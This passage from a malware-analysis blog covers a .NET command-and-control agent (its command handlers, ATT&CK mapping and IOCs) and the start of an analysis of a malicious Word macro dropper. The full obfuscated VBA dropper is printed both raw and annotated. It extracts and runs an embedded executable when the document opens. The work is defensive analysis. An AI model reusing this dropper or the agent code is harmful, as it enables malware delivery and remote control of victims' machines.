  Execute binaries<a class="heading-anchor" href="#execute-binaries" aria-label="Link to this section">#</a></h4>
<p>To execute a program that already exists in the system (either native or downloaded with another command), the &ldquo;ruyTnf&rdquo; command is used, which starts a new process receiving as a parameter the name of the program to be executed.</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">text</span> <span class="p">==</span> <span class="s">&#34;ruyTnf&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="p">...</span>
</span></span><span class="line"><span class="cl">    <span class="n">Process</span><span class="p">.</span><span class="n">Start</span><span class="p">(</span><span class="n">procss_type</span><span class="p">[</span><span class="m">1</span><span class="p">].</span><span class="n">Split</span><span class="p">(</span><span class="k">new</span> <span class="kt">char</span><span class="p">[]</span> <span class="p">{</span> <span class="sc">&#39;&gt;&#39;</span> <span class="p">})[</span><span class="m">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<h4 id="delete-a-file">
  Delete a file<a class="heading-anchor" href="#delete-a-file" aria-label="Link to this section">#</a></h4>
<p>The &ldquo;deyTlt&rdquo; command receives as a parameter the path where a file is stored, and then uses the <strong>File.Delete</strong> method to delete it:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">text</span> <span class="p">==</span> <span class="s">&#34;deyTlt&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">this</span><span class="p">.</span><span class="n">trasQfiles</span><span class="p">(</span><span class="n">procss_type</span><span class="p">[</span><span class="m">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">public</span> <span class="k">void</span> <span class="n">trasQfiles</span><span class="p">(</span><span class="kt">string</span> <span class="n">path</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">File</span><span class="p">.</span><span class="n">Delete</span><span class="p">(</span><span class="n">path</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<h2 id="conclusions">
  Conclusions<a class="heading-anchor" href="#conclusions" aria-label="Link to this section">#</a></h2>
<p>When I started writing this article I thought it would be the final part of the analysis; however, after identifying the number of functions that the agent exposed, I preferred to go into detail on some of them and leave the dynamic analysis for the next article.</p>
<p>The analyzed malware has all the characteristics of a Command and Control agent: it contacts the server from time to time, allows obtaining information from the system, allows exfiltrating information, allows downloading binaries to the system and executing them, among other functions.</p>
<p>The malware uses a couple of techniques to bypass static code analysis tools: the use of underscores to alter variable names/registry keys, as well as the use of a byte array to store an IP instead of storing it in plaintext; however, the fact that it has been developed in .NET allows for easy decompilation and analysis.</p>
<p><a href="/p/005-dotnet-agent/">In the next article</a>
 I will elaborate on how someone can interact with the malware as part of their analysis, and thus evidence whether it has any behavior not identified as part of the static analysis.</p>
<h2 id="mitre-attck-mapping">
  MITRE ATT&amp;CK Mapping<a class="heading-anchor" href="#mitre-attck-mapping" aria-label="Link to this section">#</a></h2>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>ID</th>
        <th>Tactic</th>
        <th>Technique</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>T1059.003</td>
        <td>Execution</td>
        <td>Command and Scripting Interpreter: Windows Command Shell</td>
        <td>The method Process.Start was used to initiate new processes</td>
      </tr>
      <tr>
        <td>T1547.001</td>
        <td>Persistence</td>
        <td>Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</td>
        <td>A registry key was used to establish persistence</td>
      </tr>
      <tr>
        <td>T1070.004</td>
        <td>Defence evasion</td>
        <td>Indicator Removal: File Deletion</td>
        <td>The agent has the capability to delete files</td>
      </tr>
      <tr>
        <td>T1027.010</td>
        <td>Defence evasion</td>
        <td>Obfuscated Files or Information: Command Obfuscation</td>
        <td>Character substitution was used to obfuscate commands</td>
      </tr>
      <tr>
        <td>T1057</td>
        <td>Discovery</td>
        <td>Process Discovery</td>
        <td>The agent has the capability to list processes</td>
      </tr>
      <tr>
        <td>T1082</td>
        <td>Discovery</td>
        <td>System Information Discovery</td>
        <td>The agent has the capability to obtain information about the system</td>
      </tr>
      <tr>
        <td>T1113</td>
        <td>Collection</td>
        <td>Screen Capture</td>
        <td>The agent has the capability to take screenshots</td>
      </tr>
      <tr>
        <td>T1005</td>
        <td>Collection</td>
        <td>Data from Local System</td>
        <td>The agent has the capability to obtain information about the system&rsquo;s files</td>
      </tr>
      <tr>
        <td>T1571</td>
        <td>Command and Control</td>
        <td>Non-Standard Port</td>
        <td>The agent communicates using a non-standard port</td>
      </tr>
      <tr>
        <td>T1095</td>
        <td>Command and Control</td>
        <td>Non-Application Layer Protocol</td>
        <td>The agent communicates directly through a TCP connection</td>
      </tr>
      <tr>
        <td>T1041</td>
        <td>Command and Control</td>
        <td>Exfiltration Over C2 Channel</td>
        <td>The agent exfiltrates information using the connection with the C2 server</td>
      </tr>
    </tbody>
  </table>
</div>
<h2 id="ioc">
  IOC<a class="heading-anchor" href="#ioc" aria-label="Link to this section">#</a></h2>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>IOC</th>
        <th>Type</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>59211a4e0f27d70c659636746b61945a</td>
        <td>MD5 Hash</td>
        <td>C2 agent hash</td>
      </tr>
      <tr>
        <td>162.245.191.217</td>
        <td>IP</td>
        <td>IP that the agent calls</td>
      </tr>
      <tr>
        <td>HKEY\CURRENT \USER\Software \Microsoft\Windows \CurrentVersion \Run\haijwivetsgVr</td>
        <td>Registry key</td>
        <td>Registry key used to establish persistence</td>
      </tr>
    </tbody>
  </table>
</div>
]]></content:encoded></item><item><title>003 - Analyzing a C2 agent - Part 1: The Dropper</title><link>https://www.threatanatomy.com/p/003-macro-dropper/</link><pubDate>Sun, 10 Dec 2023 22:29:12 -0500</pubDate><guid>https://www.threatanatomy.com/p/003-macro-dropper/</guid><description>In this first part, we will analyze a malicious macro containing an embedded C2 agent. We will analyze how it acts, what techniques it uses to hinder analysis, and how we can obtain indicators of compromise from it.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>On this occasion I decided to analyze a command and control (C2) agent, reviewing how it reaches its victims and what techniques it uses to evade defenses and hinder analysis. Since the whole post would be very long, I divided it into two parts: the first part will focus on the analysis of the macro that acts as a dropper, while the second part will focus on the analysis of the payload (C2 agent).</p>
<p>The chosen dropper has the hash <strong>22ce9042f6f78202c6c346cef1b6e532</strong> and can be downloaded from the following <a href="https://bazaar.abuse.ch/sample/e38c39e302de158d22e8d0ba9cd6cc9368817bc611418a5777d00b90a9341404/" rel="noopener noreferrer external" target="_blank">link</a>
.</p>
<blockquote>
<p><strong>Disclaimer</strong>: Running malware on a personal or corporate device can put your information/your company&rsquo;s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.</p>
</blockquote>
<h2 id="office-macros-the-technique-that-never-seems-to-end">
  Office Macros: the technique that never seems to end<a class="heading-anchor" href="#office-macros-the-technique-that-never-seems-to-end" aria-label="Link to this section">#</a></h2>
<p>Before starting with the analysis, I want to delve a little bit into what macros are and why they are usually abused by attackers.</p>
<p>Macros are sequences of commands that allow us to automate tasks in Microsoft Office programs; they can be used for formatting texts, running calculations, etc. Macros <a href="https://learn.microsoft.com/en-us/office/dev/scripts/resources/vba-differences#security" rel="noopener noreferrer external" target="_blank">have the same privileges as the program from which they are running</a>
, which means that they have full access to the computer under the context of the user who ran the Office program.</p>
<p>Macros are of special interest to attackers due to the following reasons:</p>
<ol>
<li>They allow the attackers to embed code in legitimate documents, so they don&rsquo;t have to convince their victims to download a binary.</li>
<li>Most users are accustomed to using Office programs, and may usually receive such type of files by email (especially in enterprises).</li>
<li>The victim&rsquo;s company&rsquo;s anti-spam systems may block files with a .exe extension; however, they probably allow Office files.</li>
<li>The Microsoft Office suite is widely distributed, which increases the likelihood that the malware can be run by their victim.</li>
<li>They can be used on both Windows and macOS.</li>
</ol>
<p>The use of Visual Basic to execute malicious commands is so common that it has a subtechnique of <a href="https://attack.mitre.org/techniques/T1059/005/" rel="noopener noreferrer external" target="_blank">MITRE ATT&amp;CK associated: T1059.005</a>
. More information on how this technique has been used in other malware distribution campaigns can be found on MITRE&rsquo;s ATT&amp;CK site.</p>
<p>Microsoft <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked" rel="noopener noreferrer external" target="_blank">has begun blocking</a>
 the execution of macros downloaded from the Internet in recent versions of Microsoft Office; however, many companies and users still use outdated versions, allowing the technique to continue to be widely used.</p>
<h2 id="static-analysis-of-the-file">
  Static analysis of the file<a class="heading-anchor" href="#static-analysis-of-the-file" aria-label="Link to this section">#</a></h2>
<p>We begin the analysis by obtaining the hash of the malicious Word document:</p>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>Algorithm</th>
        <th>Hash</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>MD5</td>
        <td>22CE9042F6F78202C6C346CEF1B6E532</td>
      </tr>
      <tr>
        <td>SHA256</td>
        <td>E38C39E302DE158D22E8D0BA9CD6CC9368817BC611418A5777D00B90A9341404</td>
      </tr>
    </tbody>
  </table>
</div>
<p>Then, we begin <a href="https://github.com/decalage2/oletools/wiki/olevba" rel="noopener noreferrer external" target="_blank"><em>olevba</em></a>
 analysis using the -a parameter:</p>
<p><figure><img src="/p/003-macro-dropper/003-olevba-a_hu_2ec5127d6b1fe104.webp" alt="OleVBA analysis" loading="lazy" decoding="async" width="1198" height="623"><figcaption>OleVBA analysis</figcaption></figure>
</p>
<p>We see that <em>olevba</em> warns us that the <strong>Document_Open</strong> function is executed automatically when the file is opened (typical behavior of malicious macros, which avoid requiring user interaction); additionally, we see certain text strings that <em>olevba</em> considers suspicious:</p>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>String</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Environ</td>
        <td>It is used to read environmental variables</td>
      </tr>
      <tr>
        <td>Open</td>
        <td>It is used to open files</td>
      </tr>
      <tr>
        <td>CopyFile</td>
        <td>It is used to copy files</td>
      </tr>
      <tr>
        <td>MkDir</td>
        <td>It is used to create folders</td>
      </tr>
      <tr>
        <td>Shell</td>
        <td>It can be used to run commands on the system</td>
      </tr>
    </tbody>
  </table>
</div>
<p>In this case, <a href="/p/002-malicious-macro/">unlike the previous article</a>
, <em>olevba</em> does not detect potential indicators of compromise (IOC).</p>
<p>We continue the analysis by using the -c parameter to visualize the document&rsquo;s macros:</p>
<p><figure><img src="/p/003-macro-dropper/003-olevba-c_hu_ec7c60d6958ebad2.webp" alt="OleVBA macros" loading="lazy" decoding="async" width="1202" height="760"><figcaption>OleVBA macros</figcaption></figure>
</p>
<p>By looking at the macros, we can see some of the techniques that the attacker used to make analysis more difficult and evade defenses:</p>
<ol>
<li>No easy-to-understand function or variable names are used, making manual analysis harder.</li>
<li>The Replace method is used to remove, during macro execution, characters used to fool pattern identification systems.</li>
</ol>
<p>The second technique is of particular interest, as it can fool programs that look for patterns to identify potentially suspicious strings (URLs, IPs, extensions, filenames, etc). For example, the following regular expression can be used to search for strings that end in .zip or .exe:</p>
<div class="codeblock">
  <div class="codebar">
    <span>regex</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">\.(zip|exe)$</span></span></code></pre></div>
</div>
<p>In the macro, the string &ldquo;do_mc_xs.zi_p&rdquo; is shown, which is not detected by the regular expression; however, during execution it is renamed to &ldquo;domcxs.zip&rdquo; for further processing.</p>
<p>Since the function has several lines, and is difficult to understand with unfriendly variable names, we export it to a file to &ldquo;clean it up&rdquo; a bit:</p>
<div class="codeblock">
  <div class="codebar">
    <span>powershell</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">olevba</span><span class="p">.</span><span class="py">exe</span> <span class="n">-c</span> <span class="p">.\</span><span class="n">e38c39e302de158d22e8d0ba9cd6cc9368817bc611418a5777d00b90a9341404</span><span class="p">.</span><span class="py">docm</span> <span class="p">&gt;</span> <span class="n">macros</span><span class="p">.</span><span class="n">vba</span></span></span></code></pre></div>
</div>
<p>Once exported, we identify that Document_Open() calls the &ldquo;weoqzisdi___lorfar()&rdquo; function:</p>
<p><figure><img src="/p/003-macro-dropper/003-documentOpen_hu_c54219c161b0084.webp" alt="Document Open Function" loading="lazy" decoding="async" width="233" height="71"><figcaption>Document Open Function</figcaption></figure>
</p>
<p>Since we don&rsquo;t see any code on the other functions, we extract the &ldquo;weoqzisdi___lorfar()&rdquo; function for further analysis:</p>
<div class="codeblock">
  <div class="codebar">
    <span>vba</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Sub weoqzisdi___lorfar()
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Dim path_weoqzisdi___file As String
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Dim file_weoqzisdi___name  As String
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Dim folder_weoqzisdi___name  As Variant
</span></span><span class="line"><span class="cl">    Dim oAzedpp     As Object
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Set oAzedpp = CreateObject(&#34;Shell.Application&#34;)
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    file_weoqzisdi___name = &#34;vteijam hdgtra&#34;
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    folder_weoqzisdi___name = Environ$(&#34;USERPROFILE&#34;) &amp; &#34;\Wrdix&#34; &amp; &#34;&#34; &amp; Second(Now) &amp; &#34;\&#34;
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    If Dir(folder_weoqzisdi___name, vbDirectory) = &#34;&#34; Then
</span></span><span class="line"><span class="cl">        MkDir (folder_weoqzisdi___name)
</span></span><span class="line"><span class="cl">    End If
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    path_weoqzisdi___file = folder_weoqzisdi___name &amp; file_weoqzisdi___name
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Dim FSEDEO      As Object
</span></span><span class="line"><span class="cl">    Set FSEDEO = CreateObject(&#34;Scripting.FileSystemObject&#34;)
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    FSEDEO.CopyFile Application.ActiveDocument.FullName, folder_weoqzisdi___name &amp; Replace(&#34;do_mc_xs&#34;, &#34;_&#34;, &#34;&#34;), TRUE
</span></span><span class="line"><span class="cl">    Set FSEDEO = Nothing
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Name folder_weoqzisdi___name &amp; Replace(&#34;do_mc_xs&#34;, &#34;_&#34;, &#34;&#34;) As folder_weoqzisdi___name &amp; Replace(&#34;do_mc_xs.zi_p&#34;, &#34;_&#34;, &#34;&#34;)
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    oAzedpp.Namespace(folder_weoqzisdi___name).CopyHere oAzedpp.Namespace(folder_weoqzisdi___name &amp; Replace(&#34;do_mc_xs.zi_p&#34;, &#34;_&#34;, &#34;&#34;)).items
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Dim poueeds     As Integer
</span></span><span class="line"><span class="cl">    Dim filewedum   As String
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    poueeds = InStr(Application.System.Version, &#34;.1&#34;)
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    filewedum = 2
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    If poueeds Then
</span></span><span class="line"><span class="cl">        filewedum = 1
</span></span><span class="line"><span class="cl">    End If
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Name folder_weoqzisdi___name &amp; &#34;word\embeddings\oleObject1.bin&#34; As folder_weoqzisdi___name &amp; &#34;word\&#34; &amp; file_weoqzisdi___name &amp; Replace(&#34;.z_ip&#34;, &#34;_&#34;, &#34;&#34;)
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    oAzedpp.Namespace(folder_weoqzisdi___name).CopyHere oAzedpp.Namespace(folder_weoqzisdi___name &amp; &#34;word\&#34; &amp; file_weoqzisdi___name &amp; Replace(&#34;.z_ip&#34;, &#34;_&#34;, &#34;&#34;)).items
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Name folder_weoqzisdi___name &amp; &#34;oleObject&#34; &amp; filewedum &amp; &#34;.bin&#34; As folder_weoqzisdi___name &amp; file_weoqzisdi___name &amp; Replace(&#34;.e_xe&#34;, &#34;_&#34;, &#34;&#34;)
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Shell folder_weoqzisdi___name &amp; file_weoqzisdi___name &amp; Replace(&#34;.e_xe&#34;, &#34;_&#34;, &#34;&#34;), vbNormalNoFocus
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Dim dokc_paeth  As String
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    dokc_paeth = Environ$(&#34;USERPROFILE&#34;) &amp; &#34;\Documents\&#34; &amp; Application.ActiveDocument.Name &amp; &#34;.docx&#34;
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    If Dir(dokc_paeth) = &#34;&#34; Then
</span></span><span class="line"><span class="cl">        Name folder_weoqzisdi___name &amp; &#34;word\embeddings\oleObject3.bin&#34; As dokc_paeth
</span></span><span class="line"><span class="cl">    End If
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    Documents.Open FileName:=dokc_paeth, ConfirmConversions:=False, _
</span></span><span class="line"><span class="cl">                   ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:=&#34;&#34;, _
</span></span><span class="line"><span class="cl">                   PasswordTemplate:=&#34;&#34;, Revert:=False, WritePasswordDocument:=&#34;&#34;, _
</span></span><span class="line"><span class="cl">                   WritePasswordTemplate:=&#34;&#34;, Format:=wdOpenFormatAuto, XMLTransform:=&#34;&#34;
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">End Sub</span></span></code></pre></div>
</div>
<p>After removing the extra lines and fixing the code&rsquo;s indentation, we proceed to rename the variables to make them easier to read:</p>
<p><figure><img src="/p/003-macro-dropper/003-replace_hu_af4eadf9a156015c.webp" alt="Replace names" loading="lazy" decoding="async" width="415" height="67"><figcaption>Replace names</figcaption></figure>
</p>
<p>In this case, we are lucky that some of the variables kept their original name before being concatenated with other characters, allowing us to easily identify what they are used for. If we did not have that information, we could deduce their function based on how they are being used.</p>
<p>After renaming the long variables, we can start reading line by line and trying to understand what the code is doing:</p>
<div class="codeblock">
  <div class="codebar">
    <span>vba</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">Sub</span> <span class="n">weoqzisdi___lorfar</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">Dim</span> <span class="n">mpath</span>       <span class="n">As</span> <span class="ne">String</span>
</span></span><span class="line"><span class="cl">    <span class="n">Dim</span> <span class="n">mfile</span>       <span class="n">As</span> <span class="ne">String</span>
</span></span><span class="line"><span class="cl">    <span class="n">Dim</span> <span class="n">mfolder</span>     <span class="n">As</span> <span class="n">Variant</span>
</span></span><span class="line"><span class="cl">    <span class="n">Dim</span> <span class="n">mShellApplication</span> <span class="n">As</span> <span class="ne">Object</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The object Shell.Application is created</span>
</span></span><span class="line"><span class="cl">    <span class="n">Set</span> <span class="n">mShellApplication</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s2">&#34;Shell.Application&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The string &#34;vteijam hdgtra&#34; is assigned to the variable mfile</span>
</span></span><span class="line"><span class="cl">    <span class="n">mfile</span> <span class="o">=</span> <span class="s2">&#34;vteijam hdgtra&#34;</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The environmental variable &#34;USERPROFILE&#34; path is concatenated with</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;\Wrdix concatenated with the second when the function was executed, concatenated with &#34;</span><span class="se">\&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;For example: C:\Users</span><span class="se">\t</span><span class="s1">mn\Wrdix12</span><span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="s1">    mfolder = Environ$(&#34;USERPROFILE&#34;) &amp; &#34;\Wrdix&#34; &amp; &#34;&#34; &amp; Second(Now) &amp; &#34;</span><span class="se">\&#34;</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;It verifies if the folder exists and if not, it is created</span>
</span></span><span class="line"><span class="cl">    <span class="n">If</span> <span class="n">Dir</span><span class="p">(</span><span class="n">mfolder</span><span class="p">,</span> <span class="n">vbDirectory</span><span class="p">)</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span> <span class="n">Then</span>
</span></span><span class="line"><span class="cl">        <span class="n">MkDir</span> <span class="p">(</span><span class="n">mfolder</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">End</span> <span class="n">If</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The path + filename is assigned to the mpath variable (C:\Users</span><span class="se">\t</span><span class="s1">mn\Wrdix12</span><span class="se">\v</span><span class="s1">teijam hdgtra)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpath</span> <span class="o">=</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="n">mfile</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">Dim</span> <span class="n">FSEDEO</span>      <span class="n">As</span> <span class="ne">Object</span>
</span></span><span class="line"><span class="cl">    <span class="n">Set</span> <span class="n">FSEDEO</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s2">&#34;Scripting.FileSystemObject&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The CopyFile method is used, its syntax is: object.CopyFile source, destination, [ overwrite ]</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The document that is being executed (the .docm) is copied to the folder stored on the mfolder variable with the name domcxs</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The method &#34;Replace&#34; is used to strip the underscores of the &#34;do_mc_xs&#34; string</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/copyfile-method</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/replace-function</span>
</span></span><span class="line"><span class="cl">    <span class="n">FSEDEO</span><span class="o">.</span><span class="n">CopyFile</span> <span class="n">Application</span><span class="o">.</span><span class="n">ActiveDocument</span><span class="o">.</span><span class="n">FullName</span><span class="p">,</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="n">Replace</span><span class="p">(</span><span class="s2">&#34;do_mc_xs&#34;</span><span class="p">,</span> <span class="s2">&#34;_&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">),</span> <span class="n">TRUE</span>
</span></span><span class="line"><span class="cl">    <span class="n">Set</span> <span class="n">FSEDEO</span> <span class="o">=</span> <span class="n">Nothing</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;By using the function &#34;Name&#34; domcxs is renamed to domcxs.zip</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;Name&#39;</span><span class="n">s</span> <span class="n">syntax</span> <span class="n">is</span> <span class="n">oldName</span> <span class="n">As</span> <span class="n">newName</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/name-statement</span>
</span></span><span class="line"><span class="cl">    <span class="n">Name</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="n">Replace</span><span class="p">(</span><span class="s2">&#34;do_mc_xs&#34;</span><span class="p">,</span> <span class="s2">&#34;_&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="n">As</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="n">Replace</span><span class="p">(</span><span class="s2">&#34;do_mc_xs.zi_p&#34;</span><span class="p">,</span> <span class="s2">&#34;_&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;domcxs.zip is extracted to the path stored in the variable mfolder</span>
</span></span><span class="line"><span class="cl">    <span class="n">mShellApplication</span><span class="o">.</span><span class="n">Namespace</span><span class="p">(</span><span class="n">mfolder</span><span class="p">)</span><span class="o">.</span><span class="n">CopyHere</span> <span class="n">mShellApplication</span><span class="o">.</span><span class="n">Namespace</span><span class="p">(</span><span class="n">mfolder</span> <span class="o">&amp;</span> <span class="n">Replace</span><span class="p">(</span><span class="s2">&#34;do_mc_xs.zi_p&#34;</span><span class="p">,</span> <span class="s2">&#34;_&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">))</span><span class="o">.</span><span class="n">items</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">Dim</span> <span class="n">poueeds</span>     <span class="n">As</span> <span class="n">Integer</span>
</span></span><span class="line"><span class="cl">    <span class="n">Dim</span> <span class="n">filewedum</span>   <span class="n">As</span> <span class="ne">String</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;There is a validation to see if Word&#39;</span><span class="n">s</span> <span class="n">version</span> <span class="n">contains</span> <span class="s2">&#34;.1&#34;</span> <span class="n">before</span> <span class="n">assigning</span> <span class="n">the</span> <span class="n">filewedum</span> <span class="n">variable</span>
</span></span><span class="line"><span class="cl">    <span class="n">poueeds</span> <span class="o">=</span> <span class="n">InStr</span><span class="p">(</span><span class="n">Application</span><span class="o">.</span><span class="n">System</span><span class="o">.</span><span class="n">Version</span><span class="p">,</span> <span class="s2">&#34;.1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">filewedum</span> <span class="o">=</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">If</span> <span class="n">poueeds</span> <span class="n">Then</span>
</span></span><span class="line"><span class="cl">        <span class="n">filewedum</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">End</span> <span class="n">If</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The file mfolder\word\embeddings\oleObject1.bin is renamed  &#34;mfoldder\word</span><span class="se">\v</span><span class="s1">teijam hdgtra.zip&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">Name</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="s2">&#34;word\embeddings\oleObject1.bin&#34;</span> <span class="n">As</span> <span class="n">mfolder</span> <span class="o">&amp;</span> <span class="s2">&#34;word</span><span class="se">\&#34;</span><span class="s2"> &amp; mfile &amp; Replace(&#34;</span><span class="o">.</span><span class="n">z_ip</span><span class="s2">&#34;, &#34;</span><span class="n">_</span><span class="s2">&#34;, &#34;&#34;)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;The content of &#34;mfoldder\word</span><span class="se">\v</span><span class="s1">teijam hdgtra.zip&#34; is extracted in mfolder&#39;</span><span class="n">s</span> <span class="n">path</span>
